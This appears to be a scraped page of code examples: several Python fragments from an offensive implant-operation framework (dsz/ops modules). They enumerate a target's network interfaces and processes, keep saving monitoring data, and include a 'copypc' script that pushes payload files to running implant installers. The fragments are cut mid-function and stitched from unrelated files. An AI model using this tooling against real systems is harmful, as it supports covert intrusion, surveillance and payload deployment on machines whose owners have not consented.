            (adds, removes) = compare_interface_ips(old_iface, match_iface[0])
            if ((len(adds) + len(removes)) > 0):
                iface_changes.append((old_iface, match_iface[0]))
            if (old_iface.name != match_iface[0].name):
                iface_changes.append((old_iface, match_iface[0]))
            if (old_iface.dhcpenabled != match_iface[0].dhcpenabled):
                iface_changes.append((old_iface, match_iface[0]))
            if (old_iface.gateway.ip != match_iface[0].gateway.ip):
                iface_changes.append((old_iface, match_iface[0]))
            if (old_iface.enabled != match_iface[0].enabled):
                iface_changes.append((old_iface, match_iface[0]))
    for new_iface in filter((lambda x: (x.type.lower() not in ['local', 'tunnel encapsulation'])), cur_ifconfig.interfaceitem):
        match_iface = filter((lambda x: (x.address == new_iface.address)), last_ifconfig.interfaceitem)
        if (len(match_iface) == 0):
            iface_adds.append(new_iface)
    pretty_ip_list = list()
    for iface in filter((lambda x: (x.type.lower() not in ['local', 'tunnel encapsulation'])), cur_ifconfig.interfaceitem):
        for ipaddr in iface.ipaddress:
            if iface.dhcpenabled:
                dhcpinfo = iface.dhcp.ip
            else:
                dhcpinfo = 'Off'
            pretty_ip_list.append({'description': iface.description, 'ip': ipaddr.ip, 'mac': iface.address, 'gateway': iface.gateway.ip, 'netmask': iface.subnetmask, 'dhcp': ('%s' % dhcpinfo), 'name': iface.name})
    if (cur_ifconfig.fixeddataitem.domainname != ''):
        fqdn = ('%s.%s' % (cur_ifconfig.fixeddataitem.hostname, cur_ifconfig.fixeddataitem.domainname))
    else:
        fqdn = cur_ifconfig.fixeddataitem.hostname
    print ('FQDN: %s' % fqdn)
    print ('DNS Servers: %s' % ', '.join(map((lambda x: x.ip), cur_ifconfig.fixeddataitem.dnsservers.dnsserver)))
    ops.info(('Showing all non-local and non-tunnel encapsulation adapter information, see command %d for full interface list' % cur_ifconfig.commandmetadata.id))
    ops.pprint.pprint(pretty_ip_list, header=['Description', 'MAC', 'IP', 'Netmask', 'Gateway', 'DHCP Server', 'Name'], dictorder=['description', 'mac', 'ip', 'netmask', 'gateway', 'dhcp', 'name'])
    if ((last_ifconfig.fixeddataitem.hostname != cur_ifconfig.fixeddataitem.hostname) or (last_ifconfig.fixeddataitem.domainname != cur_ifconfig.fixeddataitem.domainname)):
        ops.warn(('Host and/or domain name have changed, was %s.%s, not %s.%s' % (last_ifconfig.fixeddataitem.hostname, last_ifconfig.fixeddataitem.domainname, cur_ifconfig.fixeddataitem.hostname, cur_ifconfig.fixeddataitem.domainname)))
    if (len(iface_adds) > 0):
        ops.warn('New interfaces found')
        ops.warn('--------------------')
        for iface in iface_adds:
            print_iface(iface)
    if (len(iface_removes) > 0):
        ops.warn('Interfaces removed')
        ops.warn('------------------')
        for iface in iface_removes:
            print_iface(iface)
    if (len(iface_changes) > 0):
        ops.warn('Interface changes')
        ops.warn('-----------------')
        i = 1
        for pair in iface_changes:
            ops.warn(('Change %d' % i))
            ops.warn('Old version')
            print_iface(pair[0])
            ops.warn('New version')
            print_iface(pair[1])
            i += 1
Exemplo n.º 43
0
 mondata = cmd.execute()
 voldb = ops.db.get_voldb()
 targetID = ops.project.getTargetID()
 if options.savetotarget:
     tdb = ops.db.get_tdb()
 if (mondata is not None):
     vol_cache_id = voldb.save_ops_object(mondata,
                                          tag=options.tag,
                                          targetID=targetID)
     if options.savetotarget:
         tdb_cache_id = tdb.save_ops_object(mondata, tag=options.tag)
     while mondata.commandmetadata.isrunning:
         try:
             dsz.Sleep((options.interval * 1000))
             mondata.update()
             voldb.save_ops_object(mondata,
                                   cache_id=vol_cache_id,
                                   tag=options.tag,
                                   targetID=targetID)
             if options.savetotarget:
                 tdb.save_ops_object(mondata,
                                     cache_id=tdb_cache_id,
                                     tag=options.tag)
         except KeyboardInterrupt:
             ops.error('User killed channel!')
             sys.exit((-1))
     mondata.update()
     voldb.save_ops_object(mondata, cache_id=vol_cache_id, tag=options.tag)
     tdb.save_ops_object(mondata, cache_id=tdb_cache_id, tag=options.tag)
     ops.info('Updated and saved')
Exemplo n.º 44
0
def print_header(header):
    print()
    padding = (72 - (len(header) // 2))
    ops.info(((((('=' * ((padding - len(ops.targetdatetimestamp())) - 3)) + ' ') + header) + ' ') + ('=' * padding)))
Exemplo n.º 45
0
from argparse import ArgumentParser
if (__name__ == '__main__'):
    parser = ArgumentParser(prog='copypc', description='Copies PC L4 payload files via fastmonkey')
    parser.add_argument(dest='payDir', metavar='payload_folder', nargs='?', default=os.path.join(config['paths']['tmp'], 'payload'), help='Payload folder to read and copy files from.')
    parser.add_argument('-u', '--userID', dest='userID', help='Your user ID. You will be prompted if ID is not known and not given.', default=ops.env.get('OPS_USERID', addr=''))
    parser.add_argument('-p', '--project', dest='project', default=None, help='Project. Defaults to current DSZ LP project if not specified.')
    parser.add_argument('-v', '--verbose', dest='verbose', default=False, action='store_true', help='Print verbose information about the copying process.')
    parser.add_argument('--insane', dest='insane', action='store_true', default=False, help='Indicate the you are insane (disables PC ID sanity hash prompt loop).')
    parser.add_argument('-d', '--directory', dest='oldPayDir', help='(Deprecated) Payload folder to read and copy files from. Provided for backwards compatibility support only.')
    parser.add_argument('-x', '--norename', dest='rename', action='store_false', default=True, help='Disables rename of the payload directory to <name>.sent after sending data.')
    options = parser.parse_args()
    if (options.userID is None):
        options.userID = dsz.ui.GetString('Enter your user ID: ')
        ops.env.set('OPS_USERID', options.userID, addr='')
        if options.verbose:
            ops.info('User ID cached in LP environment OPS_USERID.')
    else:
        oldid = ops.env.get('OPS_USERID', addr='')
        ops.env.set('OPS_USERID', options.userID, addr='')
        if (oldid is None):
            ops.info('User ID cached in LP environment OPS_USERID.')
        elif (oldid != options.userID):
            ops.info('Updated cached user ID in LP environment OPS_USERID.')
    if options.oldPayDir:
        options.payDir = options.oldPayDir
    installers = (((ops.cmd.get_filtered_command_list(isrunning=True, goodwords=['pc_install']) + ops.cmd.get_filtered_command_list(isrunning=True, goodwords=['pc2.2_install'])) + ops.cmd.get_filtered_command_list(isrunning=True, goodwords=['pc_upgrade'])) + ops.cmd.get_filtered_command_list(isrunning=True, goodwords=['pc2.2_upgrade']))
    cpaddrs = []
    for i in installers:
        cpaddrs.append(dsz.cmd.data.Get('commandmetadata::destination', dsz.TYPE_STRING, i)[0])
    if (len(cpaddrs) != 1):
        ops.warn('Could not determine target CP address for OS information because there are multiple installers running.')
Exemplo n.º 46
0
def emkg_plist(ip, dszquiet=False):
    flags = dsz.control.Method()
    if dszquiet:
        dsz.control.quiet.On()
    dsz.control.echo.Off()
    cmd = ops.cmd.getDszCommand('processes',
                                dszuser=ops.cmd.CURRENT_USER,
                                list=True,
                                target=(ip if (ip != '127.0.0.1') else None))
    ops.info(("Running '%s'..." % cmd))
    result = cmd.execute()
    if (not cmd.success):
        if (result.commandmetadata.status == 268435456):
            ops.error((
                'Open of registry failed.\n\tThis could be because access is denied or the network path was not found.\n\tCheck your logs for command ID %d for more information.'
                % result.cmdid))
            del flags
            return None
        elif (result.commandmetadata.status is None):
            dszlogger = DSZPyLogger()
            log = dszlogger.getLogger(LOGFILE)
            log.error(
                'Command did not execute, possibly the result of a malformed command line.'
            )
            ops.info(
                'A problem report has been automatically generated for this issue.',
                type=dsz.DEFAULT)
        else:
            ops.error((
                'Failed to query performance hive. Check your logs for command ID %d for more information.'
                % result.cmdid))
            del flags
            return None
    table = []
    echo = []
    for processitem in result.initialprocesslistitem.processitem:
        if ((processitem.id == 0) and (processitem.parentid == 0)):
            name = 'System Idle Process'
        else:
            name = processitem.name
        [code, comment] = check_process(name)
        table.append({
            'Path':
            processitem.path,
            'Process':
            name,
            'PID':
            processitem.id,
            'PPID':
            processitem.parentid,
            'Created':
            ('' if ((processitem.name == 'System') or
                    (processitem.name == 'System Idle Process')) else
             ('%s %s %s' % (processitem.created.date, processitem.created.time,
                            processitem.created.type.upper()))),
            'Comment':
            comment,
            'User':
            processitem.user
        })
        echo.append(code)
    if ((ip is None) or (ip == '127.0.0.1')):
        pprint(table,
               dictorder=[
                   'PID', 'PPID', 'Created', 'Path', 'Process', 'User',
                   'Comment'
               ],
               echocodes=echo)
    else:
        pprint(
            table,
            dictorder=['PID', 'PPID', 'Created', 'Path', 'Process', 'Comment'],
            echocodes=echo)
    del flags
    return result
Exemplo n.º 47
0
def main():
    ops.preload('language')
    flags = dsz.control.Method()
    dsz.control.echo.On()
    ops.info('Querying language')
    dsz.cmd.Run('language')